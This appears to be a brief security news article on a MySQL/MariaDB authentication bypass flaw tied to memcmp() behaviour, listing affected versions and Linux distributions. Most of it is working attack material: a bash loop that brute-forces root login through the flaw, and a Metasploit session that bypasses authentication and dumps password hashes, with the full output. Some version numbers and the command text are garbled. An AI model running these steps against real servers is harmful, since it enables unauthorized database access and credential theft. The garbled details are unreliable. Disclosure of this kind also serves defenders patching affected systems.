The MySQL and MariaDB versions 5.161,5.2.11,5.3.5 and 5.5.c2 are affected version.
The vulnerability allows an attacker to access MySQL database without inputing proper authentication credentials. The vulnerability can only exploited if MySQL was built on a system where the memcmp() function can return values outside the -128 to 127 range.
According to Gokubchik the gcc build in memcmp and BSD libc are safe bu the linux glibc sse-optimised memcmp is not safe.
Not all linux distros are affected, only the following systems are vulnerable:
*ubuntu linux 64 bit(10.04,11.10,11.04,12.04)
*openSUSE 12.1 64 bit MySQL 5.5.23-log
*Debin Unstable 64 bit 5.5.23.2
*Fedora
*Arch Linux
In order to test the vulnerability, run the followoing bash script:
for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.12>/dev/null; done
The above code will provide access to an affectte MySQL Server as the root user account.
The following video is provided by one of EHN reader:
Exploiting using Metasploit :
one of metasploit contributor committee a threaded brute-force module that abuses the authentication bypass flaw to automatically dump the password database.
A quick demonstration of this module is shown below using the latest Metasploit Framework GIT/SVN snapshot.:
$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306Authentication bypass is 10% complete
[*] 127.0.0.1:3306Authentication bypass is 20% complete
[*] 127.0.0.1:3306Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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